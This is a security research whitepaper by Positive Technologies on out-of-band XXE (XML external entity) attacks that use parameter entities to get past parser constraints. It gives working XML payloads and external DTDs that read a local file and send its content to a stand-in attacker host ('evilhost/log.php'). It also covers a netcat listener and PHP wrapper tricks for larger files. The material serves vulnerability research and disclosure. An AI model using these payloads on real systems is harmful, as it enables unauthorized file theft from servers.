XML DATA RETRIEVAL

Timur Yunusov

Alexey Osipov

Moscow

POSITIVE TECHNOLOGIES®

CONTENT

1. Introduction

The XML language is getting more and more common. It is more frequently used in web applications. That is why in-depth research of its algorithms and creation of new attack methods are getting more common as well — the techniques, which allow reading data from a file system exploiting errors (error-based attack), bruteforcing XML files with XSD schemas (blind attack), have been already studied.

It reminds you of something, doesn't it? :)

Yes, SQL attacks were studied in a similar way long ago. Nowadays SQL Injection techniques are thoroughly studied for the majority of DBMS types. The same is in store for XML — sooner or later it will give in to inquisitive minds. We want to call your attention to an XML attack similar to Data Retrieval over DNS while exploiting SQL Injection.

2. It's all about entities

XML specification [1] describes several types of so-called entities (we know many of them: entities are usually used for conducting attacks on XML, named XML eXternal Entity, XXE):

- Predefined entities
- Internal entities
- External entities
- Internal parameter entities
- External parameter entities

So far the third type of entities has been most frequently attacked (except for DoS): using various files of a file system as a source of an external entity, it was possible (not always) to read files of the file system via data output in XML or error output. Besides it was possible to conduct DoS attacks, bruteforce the content of a parsed entity, read files via a Document Type Declaration (DTD), which if error output was enabled allowed displaying the content of the read file.

3. Parameter entities

The majority of users either do not know or know very little about such structures as parameter entities. If XML was attacked, they primarily either were useless (general entities were quite enough) or returned not all data.

The XML specification defines the following: "References to parameter entities are permitted only within the DTD. A parameter entity is declared by placing % before its name. A percent sign is also used in references to parameter entities instead of an ampersand. References to parameter entities are immediately parsed in a DTD, and the replacement text becomes a part of the DTD, as far as entities are not parsed at all. Parameter entities are not recognized in a document body."

In other words, parameter entities:

1. Are parsed very easily while creating a DTD.
2. Allow creating other entities and parameter entities (which results from the first statement).

An example of a document that uses parameter entities can be as follows:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
        <!ENTITY % param1 "<!ENTITY internal 'some_text'>">
        %param1;
]>
<root>&internal;</root>
```

The parameter entity *param1* contains declaration of the internal entity *internal*, which in its turn is inserted in the tag *root* and displayed to a user.

4. Validity and well-formedness

Suppose you have a validating parser, and it maintains external entities (still quite frequent combination). According to the XML specification, certain constraints should be complied with when a document is checked. [2] for the details of specific validation features and parser constraints). For instance, constraints for tag attributes look as follows:

Well-formedness constraint: Unique Att Spec

Validity constraint: Attribute Value Type

Well-formedness constraint: No External Entity References

Well-formedness constraint: No < in Attribute Values

Everything is clear with the first two: an attribute name should be unique, and its value should comply with a declared type. These errors do not interfere with what we do and sometimes even help us (those very error-based XXE injections).

Let's consider in detail the third requirement — attributes should not contain references to external entities directly or indirectly. Indeed, the following three documents will fail well-formedness check:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY external SYSTEM "file:///c:/boot.ini">
]>
<root attrib="&external;" />
```

***Error**: External entity 'external' reference cannot appear in the attribute value.*

Even the parameter entity is helpless:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "<!ENTITY external SYSTEM 'file:///c:/boot.ini'>">
    %param1;
]>
<root attrib="&external;" />
```

Error: The external entity reference "&external;" is not permitted in an attribute value.

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

        <!ENTITY % param1 SYSTEM "file:///c:/boot.ini">

        <!ENTITY external "%param1;">

]>

<root attrib="&external;" />
```

Error: A parameter entity reference is not allowed in internal markup.

The last example is of great interest because one more specification constraint is violated: *Well-formedness constraint: PEs in Internal Subset*. We cannot place parameter entities into the declaration of an internal DTD. However, the specification includes information how to bypass this obstacle: *This does not apply to references that occur in external parameter entities or to the external subset.* Let's just view the external document, in which the necessary parameter entities that can be further referred in the source document are declared.

So what will happen if a part of a DTD is declared in an external file? According to the specification, behavior related to the constraint on placing external entities in attributes shouldn't be changed, all the data will be checked for validity and well-formedness, placed and parsed later. However, some of the parsers including libxml (PHP, Python, Ruby), Xerces2 (Java), System.XML (.NET) seem to have a little different opinion :)

Let's create a page with the following content on our site (note that there's no doctype!):

```
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">

<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
```

The secret is that a parameter entity cannot be placed in an internal entity. Anyway, parsers in Java and .NET are not pleased with such attempts.

And here is the source document:

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root

[

        <!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
```

```
        %remote;
        %param1;
    ]>
    <root attrib="&internal;" />
```

The algorithm to parse a document is as follows:

1) DTD content is parsed.
2) The declaration and reference of the external parameter entity *remote* is detected.
3) When *remote* is referred to, http://evilhost/evil.xml is parsed. This file contains declaration of the external parameter entity *payload*, which we are going to read, and the parameter entity *param1*, which should create the internal entity *internal.*
4) It should be noted that we've just prepared our injection by declaring the entity, but file:///c:/boot.ini still cannot be read.
5) As far as http://evilhost/evil.xml is valid, it substitutes *remote* in the source document.
6) The parameter entity *param1* is referred to, and we take control over the entity *internal*, which (all of a sudden!) is not an external entity.

What is the profit?

- If the parser outputs an attribute value, then we get the entity value.
- If we can access the XSD schema, we can get error output.

```
<xs:restriction base="xs:string">
        <xs:pattern value="&internal;" />
</xs:restriction>
```

5. XXE Data Retrieval

Now is the sweetest part. What do we need XML Injection for? To obtain some data. Parameter entities help us to access external resources transferring to them file content from the server, where the parser is located, via external entities using the technique described above. It allows attacking parsers, on which any data output is disabled!

1. Send the following document to the XML parser:

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

        <!ENTITY % remote SYSTEM "http://evilhost/evil.xml">

        %remote;

        %param1;

]>

<root>&external;</root>
```

2. Parsing this DTD, the parser refers to the parameter entity *remote*, and if it has access to our resource (which is not always the case) it will substitute it for the following content:

```
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">

<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://evilhost/log.php?log=%payload;'>">
```

Then the parser declares the parameter entity *param1*, refers to it in the main document right after referring to *remote*. *param1* contains the declaration of *external*, to which we refer in the body of the XML document. This construction allows reading the content of the file c:/boot.ini, substituting c:/boot.ini for external entity bypassing constraints on parameter entities declaration in other entities, and allows referencing *external* transferring the file content to the server controlled by us.

Sometimes entities do not work in a parser. Then the following construction is of help (parameter entities only):

1. Send the following document to the XML parser:

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

        <!ENTITY % remote SYSTEM "http://evilhost/evil_2.xml">
```

%remote;]>

<root/>

2. ext_2.xml content:

<!ENTITY % payload SYSTEM "file:///c:/boot.ini">

<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://evilhost/log.php?%payload;" >'

>

%param1;

%external;

This technique differs from the previous one in the fact that an attack is conducted only when a DTD is declared.

6. Peculiar features of attacks on various parsers

Sometimes a parser does not check the length of a created URI, and a lot of parsers convert line feeds automatically (Xerces replaces them with spaces, and System.XML processes with urlencode). However, this length will be checked on the side of our web server (usually 2048 bytes), that is why instead of a web server the command “nc –l –p 80” can be used.

The libxml parser used in PHP, Python, and Ruby limits the content size of external entities by default (the same 2048 bytes); to bypass it, it is necessary to run it with the flag *LIBXML_PARSEHUGE*. And this parser does not convert line feeds, that is why it won't help in sending multiline files.

Fortunately, PHP has wonderful wrappers, which were described in detail by Alexey Moskvin at PHDays 2012 [3]. They can be used not only for converting multiline files into one string (by means of the wrapper php://filter/read=convert.base64-encode/resource=file:///c:/boot.ini), but in the main DTD as well to transfer the content of the file ext.xml without accessing external resources using the wrapper data:text/html;base64,PCFFTlRJVFkgJSB0N***.

7. References

1. Extensible Markup Language (XML) 1.0 (Fifth Edition), http://www.w3.org/TR/REC-xml/

2. Andrey Petukhov, XXE Attack, http://andrepetukhov.wordpress.com/2011/01/15/

3. Alexey Moskvin at PHDays 2012, PHP Wrappers, http://www.slideshare.net/phdays/php-wrappers

8. About Positive Technologies

Positive Technologies is at the cutting edge of IT Security. A specialist developer of IT Security products, Positive Technologies has over a decade of experience in detecting and managing vulnerabilities in IT systems. The company has been named one of the top ten worldwide vendors of Vulnerability Assessment systems and is among the top five fastest-growing firms in Security & Vulnerability Management globally*

Positive Technologies has more than 300 employees at its offices and research centres in London, Rome, Moscow, Seoul and Tunis. Its technology partners include IBM, Oracle, Cisco, Microsoft and HP.

Positive Technologies' innovation division, **Positive Research**, is one of the largest security research facilities in Europe. Our experts work alongside industry bodies, regulators and universities to advance knowledge in the field of information security and to apply this analysis to improving the company's products and services. The centre carries out research, design and analytical works, threat and vulnerability analysis and error elimination.

Since 2004, Positive Research has helped global manufacturers including Microsoft, Cisco, Google, Avaya, Citrix, VMware and Trend Micro to eliminate hundreds of vulnerabilities and defects that threatened the safety of their systems.

*Source: Market intelligence firm IDC's report "Worldwide Security and Vulnerability Management Forecast for 2012-2016"

www.ptsecurity.com
pt@ptsecurity.com
+7 (495) 744 01 44